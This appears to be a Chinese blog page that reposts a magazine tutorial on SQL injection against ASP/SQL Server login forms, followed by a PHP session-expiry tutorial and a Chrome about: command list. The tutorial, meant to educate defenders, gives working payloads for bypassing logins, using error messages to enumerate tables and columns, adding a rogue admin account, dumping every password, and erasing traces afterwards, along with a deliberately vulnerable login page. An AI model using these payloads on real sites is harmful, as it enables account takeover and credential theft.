* 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
* 不要顯示錯誤訊息到前端。
利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3。
* 將用不到但功能強大的延伸預存程序刪除。
* 監控系統的執行。
* 防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4 。
* 隨時注意是否有新的修補程式要上。

以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。

相關網址

以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/

註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。

SQL Injection – 駭客的 SQL填空遊戲 (上)

作者:恆逸資訊 胡百敬
審稿:恆逸資訊 張智凱

前言

電腦系統的安全一直是你我所重視的,但或許你一直在替系統安裝修正檔,防毒軟體,架設防火牆,劃定非軍事區等等,但可能由於撰寫程式碼的疏忽,你的背後正有一個自己營造的大漏洞。

SQL Injection – 駭客的 SQL填空遊戲

在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料。而在各類型的資料庫中,又以結構化查詢語言(SQL Structure Query Language)為基礎的關聯式資料庫管理系統(RDBMS Relational Database Management System)最為流行。

一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,乃至於新增、修改、刪除或查詢資料。因為關聯式資料庫所有的執行動 作皆是遵循 SQL 命令,所以透過此種方式可以很方便地完成各種資料維護工作。但也正因為 SQL 語言無所不能,所以稍有漏洞就會讓駭客有機可乘。這兩期文章就針對這個主題做一個深入的探討。

網站的資料存取一般來說是比較危險的,因為網際網路是一個開放的環境,而不像一般公司內部網路,除了有電腦本身的安全設計,還可以過濾篩檢員工的身 分背景。網際網路上龍蛇雜處,大部分的使用者都循規導矩,但少數圖謀不軌的人卻處心積慮地要侵入我們的系統,竊取有價值的資料。但一般的網管人員及網頁設 計師,可能在安全設定上有著重重防範,如架設防火牆,設計非軍事區(DMZ),限制網站登入者的身分等等。但由於缺乏對 SQL 語言及資料庫管理系統的認知,而大開系統的後門。

本文針對微軟的 ASP 網站架構搭配 MS SQL Server 做一個探討及示範,希望能提供各網站的管理人員對 SQL Injection 的入侵方式有個基本的認識,就筆者在撰寫本文時,利用搜尋網站隨意找幾個有會員機制的網站來測試,其中多數都有被此類方式侵入的危險,大家不可不慎。
筆者在此先建立一個一般會員網站登入網頁的範例,以及相關資料表的架構如下:
資料表的 Schema 如程式碼列表 1

CREATE TABLE [tblUser] (
[UserID] [int] IDENTITY (1, 1) NOT NULL ,
[UserName] [nvarchar] (50) NOT NULL ,
[Password] [nvarchar] (50) NOT NULL ,
[Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri] DEFAULT (0),
CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
([UserID])
)

程式碼列表 1:存放會員資料的資料表 Schema。

並在資料表加入兩筆資料內容

INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10)
INSERT tblUser(UserName,Password,Pri) VALUES('Byron','ByronPass',10)

登入網頁的撰寫方式如程式碼列表 2


<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open

'利用使用者輸入的資料來組合 SQL 語法
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"
'直接交給 SQL Server 執行,這是最危險的地方
Set rec=.Execute(strSQL)
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If

Else
%>
<form action="login.asp">
使用者名稱:<input name="UserName">


密碼:<input name="Pass">
<p>
<input type="submit" value="確定">
</form>
<%
End If
%>

程式碼列表 2:簡單的 ASP 登入網頁。

程式碼列表 2 中的 ASP 網頁利用 VBScript 來組合查詢使用者帳號、密碼的 SQL 查詢語法,邏輯相當簡單,若資料表中存有符合的帳號、密碼記錄,則回傳的 Recordset 的 EOF 屬性是 False,該使用者就算正確登入。
針對此種網頁,我們以下就開始利用 SQL Injection 的技巧來”駭”這個網站吧!

剪接語法

利用任何已知的使用者名稱登入1:例如在網咖偷偷地觀察某個使用者用什麼樣的帳號登入到哪個網站等等,或著先試試一般管理人員可能建立的使用者名稱,如:admin、administrator、supervisor、sa 等等。

在需要輸入使用者名稱的地方鍵入以下的內容2
Admin’--
而密碼欄位隨便亂輸入,對於會被執行的整句 SQL 沒有什麼關係。示意圖如圖 1

圖 1:利用已知的會員名稱登入,讓程式碼跳過密碼檢查。

你可以試著將輸入使用者名稱的內容與程式碼列表 2 的 SQL 語法做個整理,將會發現實際傳給 SQL Server 的語法如下

SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf'

關鍵就是原先的 AND 子句被 “--" 標示成說明,也就是 SQL Server 僅僅執行

SELECT * FROM tblUser WHERE UserName='admin'

自然,若有該使用者存在,則這個 SQL 查詢語法就傳回該記錄的所有欄位內容。再按照程式碼列表 2 的判斷方式:傳回的 Recordset 是否有記錄,若有就算登入驗證成功。則駭客就可以輕易地以該使用者的身分進入了。
用未知的使用者名稱登入:若沒有已知的帳號,也可以用以下的方式輸入到使用者名稱欄位,便能大大方方地侵入:

‘ or 1=1--

SQL Server 所接收的整個語法變成:

SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf'

因為加上的 or 1=1,則不管之前的條件為合,只要某個條件為真,整個判斷式就都為真,因此回傳的 Recordset 物件包含了全部的會員記錄。也導致程式碼列表 2 中的 Recordset 物件 EOF 屬性為 False。

利用錯誤訊息

獲取欄位數量與名稱

微軟為了方便 ASP 的程式開發者可以順利地除錯,因此每當 Script 執行錯誤時,都會透過預設的 <系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 網頁將發生錯誤的原因回傳到前端,對於開發者來說,這是一個非常方便的錯誤呈現方式。但駭客也可以利用這個錯誤訊息取得原始 ASP 中的查詢語法,並從中了解資料庫中資料表的架構。例如在使用者名稱欄位輸入:
' HAVING 1=1--
則系統會傳回如圖 2 的錯誤訊息。


圖 2:故意製造錯誤,從錯誤訊息中找尋蛛絲馬跡。

圖 2 可以知道存放使用者的資料表名稱是 tblUser,且查詢中有一個欄位叫 UserID。因此我們再次輸入:
'GROUP BY UserID HAVING 1=1--
這回錯誤訊息如圖 3


圖 3:利用錯誤訊息來了解資料表大致結構。

再次在圖 3 的錯誤訊息中可知查詢的欄位還有 UserName,因此繼續以下列方式來查詢3

'GROUP BY UserID,UserName HAVING 1=1--

利用上述方式取到完整查詢語法後,也就是輸入以下的語法,但不再造成執行時期錯誤:

'GROUP BY UserID,UserName,Password,Pri HAVING 1=1--

因為整個傳遞到 SQL Server 的語法變成:

SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf'

如此列出所有欄位的 Group By 方式幾近等於沒有 Group By,但語法完全正確表示所有的欄位都已經包含在其中了。駭客就此可以約略估計資料表的欄位結構。

在輸入帳號的地方執行以下語法便可以加入自訂的使用者到資料表中。

';INSERT INTO tblUser Values('hacker','hacker',10)--

獲取欄位資料型態

若有資料欄位格式不對,導致無法加入自訂使用者,也可以利用下列語法傳回的錯誤訊息來判讀資料欄位格式:

'UNION SELECT 'abc',1,1,1 FROM tblUser --

結果傳回如圖 4 的錯誤訊息。


圖 4:利用錯誤訊息來判斷欄位的資料型態。

在這裡我們透過 UNION 語法來組合兩句 SELECT 查詢,第一句 SELECT 語法的第一個欄位 UserID 是 int 格式,但對應的第二句 SELECT 語法;第一個欄位的資料是 varchar 格式的 ‘abc’,因此出現如圖 4 的錯誤訊息。駭客也由此得知資料表第一個欄位的資料型態是 int。有耐心地把一個個欄位測試完畢後,便可以得到整個資料表的欄位格式。

獲取會員的帳號密碼

利用這個技巧,還可以再進一步獲取使用者的帳號和密碼,例如先以下列語法詢問帳號:

'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--

IIS 回傳錯誤訊息如圖 5

圖 5:利用錯誤訊息來取得使用者帳號和密碼。

因為傳回的記錄”Admin”是 nvarchar 格式,而透過 union 對應到原先 int 資料欄位,因此有圖 5 的錯誤訊息。由以上的錯誤可以得知有一個稱為”Admin”的帳號存在,之後再以下列語法獲得該帳號的密碼。

'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--

錯誤訊息如圖 6


圖 6:利用錯誤訊息取得帳號 admin 的密碼。

之後再繼續以下列語法來獲得其他人的帳號密碼。

'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'--

錯誤訊息如圖 7


圖 7:依序透過相同的機制取得其他人的帳號密碼。

依次替換掉 WHERE UserName > 的條件內容,就可以取得資料表中所有的帳號和密碼組合。
駭客甚至可以透過以下的語法將整個使用者帳號密碼串成字串:在輸入使用者帳號的欄位填入如程式碼列表 3 的 SQL 語句。

';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--

程式碼列表 3:將所有的使用者資料組成字串,放入自訂的資料表中。

程式碼列表 3 中,先宣告一個長度為 8000 的字串變數 @str,再將整個 tblUser 資料表的內容組成一個字串放到變數 @str 之內,最後再利用 SELECT … INTO… 語法把 @str 變數的內容放到自建的資料表 tblHacker 之中。

然後再利用前述故意營造錯誤的技巧換回資料內容。

' UNION SELECT IDPass,1,1,1 FROM tblHacker--

結果如圖 8


圖 8:取回全部的會員帳號密碼資料。

當然事後要做一個清除的動作,以避免系統管理人員的注意,依然在名稱欄位輸入如下的內容。

' ; DROP TABLE tblHacker--

在本期的文章中,筆者介紹了一般的 SQL Injection 攻擊,相信你不是感到興奮且躍躍欲試,想要找幾個網站來開刀,就是感到毛骨悚然,趕快檢視一下自己的系統。不管你是何者,筆者期盼本文不致遭到誤用,若有 心測試別站的安全程度,建議你將成果告知該站的管理人員,讓整個網際網路的世界更為安全,一般人才會願意流漣在其上,而我們資訊人員才有更好的未來。

在下期文章中,筆者將繼續介紹進階的 SQL Injection 攻擊,並提出因應的防範之道,期待再次與你見面。

後記:本文所舉各例,並非單指Microsoft SQL Server而言,事實上所有關聯式資料庫如Oracle等均是如此。同時,本文所舉各例,並非單指ASP而言,事實上對所有動態網頁如JSP、PHP等 均是如此(即使你的系統還停留在CGI技術也是一樣),奉勸各位即時檢視您的系統,防患未然。

(本文由SQL Server電子雜誌 http://www.sqlserver.com.tw 授權台灣微軟獨家轉載)

註釋:

1 就筆者觀察,現今很多的有會員機制的網站在登入時都是以身分證字號當作登入帳號,所以駭客只要想辦法拿到某個會員的身分證字號就可以試試這個方法。
2 以下的 SQL Injection 登入方式都是只利用使用者帳號的欄位,輸入不同的 SQL 語法,以組織各種可能的執行方式,而都利用 “--” 將後面的密碼欄位標示成 SQL 說明。
3 駭客的第一特質:有耐心。筆者因此就沒有做駭客的天賦,為了撰寫這篇文章,筆者反反覆覆地測試各個網站,重複的過程非常乏味,所得結論是既然有這個精力,筆者寧願多看點書,賺取正當的收入。

網頁手動清除cache / session

類似避免user 註冊後,使用回到上一頁去重複使用session 資料

http://www.phpbuilder.net/columns/clark20030702.php3
Manually Expiring Web Pages
After going through a series of pages during a registration process, you don't want the user to be able to go back after the final submit. What can you do to manually "expire" those pages, and perhaps display a custom message?
In this scenario, I didn't want my session to expire as I needed it to continue. Instead, I used an extra session variable to track whether my session was alive or not. There are four main components:
(1) the entry script,
(2) the Cache-control directive,
(3) the conditional check, and
(4) manually expiring a portion of the session.
THE ENTRY SCRIPT
I use an entry script to start my session. This accomplishes two things: (1) destroys any session already in progress, and (2) starts a new session.
entry.php:

session_start();
session_unset();
session_destroy();
session_start();
session_register('alive');
$_SESSION["alive"] = "1";
Header("Location:/php/createaccount.php");
?>
In the above script, we start the session, get rid of any registered session variables with session_unset(), and destroy that session with session_destroy(). Then, we start a new session and register a session variable. This particular variable will track whether this portion of the session is alive or not. We set the variable to some value, then we redirect to our first page in the registration series.

CACHE-CONTROL AND CONDITIONAL CHECK
In the following code snippet, we will auto-detect if the session is still in use.
createaccount.php:

session_start();
header("Cache-control: must-revalidate");

if (
$_SESSION["alive"] != "1") {
// User is attempting to go back after the session was destroyed
Header("Location:/php/error100.php");
}
?>
The "Cache-control" directive above is very important. Using "must-revalidate" tells the browser that it has to fetch the page from the server again instead of loading if from its cache. Because it reloads the page from the server, it will re-check the $_SESSION["alive"] variable to see if its value is "1". If so, the page can load properly. If not, then we'll redirect the user to another page that contains a custom error message. Placing this script at the beginning of every page in the registration series will catch every "Back" button press by the user. It's not enough to place it on the last page in the registration series as a user could press the "Back" button more than one time. I have this snippet in createaccount.php, createaccount1.php, createaccount2.php and createaccount3.php.
MANUALLY EXPIRE THE SESSION
The last thing to do is manually "expire" the session, or at least a portion of it. In my case, I wanted the session to stay alive, so I could not use session_unset() or session_destroy(). However, I didn't want the user to go back to the previous pages and change things. Remember that $_SESSION["alive"]variable? After the final submit, all we have to do is get rid of it. There are two ways to do this:
createaccount4.php (the page after the final submit):

session_start();
$_SESSION["alive"] = "0";
?>
or

session_start();
session_unregister('alive');
?>
Either way will accomplish the same thing. Now, when the "Back" button is pressed, the user won't return the the previous page and be able to change data and resubmit. Instead, they will be redirected to error100.php (or whatever page you choose) and will get a custom error message.
So, the next time you want to stop the user from going back to change data previously entered, and if you want manual control over it, use this method. Just remember that the entry script sets the session variable to the "alive" state, and the exit script (right after your final submit during the process) sets the session variable to a "not alive" state. The "Cache-control: must-revalidate" forces the browser to reload the page from the server, and the "alive" check is performed. Redirection to a custom page occurs when the session variable is not "alive".





http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
(Cache-control: must-revalidate)

2009年8月11日 星期二

Warhammer 的起落

一個前 Warhammer GM 在被裁員後寫的文章

內容完全沒有大家所希望的黑幕

不過讀起來讓人有股悲傷感

http://www.escapistmagazine.com/articles/view/issues/issue_213/6341-Casualty-of-Warhammer

2009年7月28日 星期二

Chrome About Commands

有些指令似乎沒用途

about:version

about:plugins

about:cache

about:memory

about:stats

about:histograms

about:dns

about:network

about:crash

about:hang

about:internets (要有裝windows 3dpipe 的 screensaver)

view-cache:[URL]

view-source:[URL]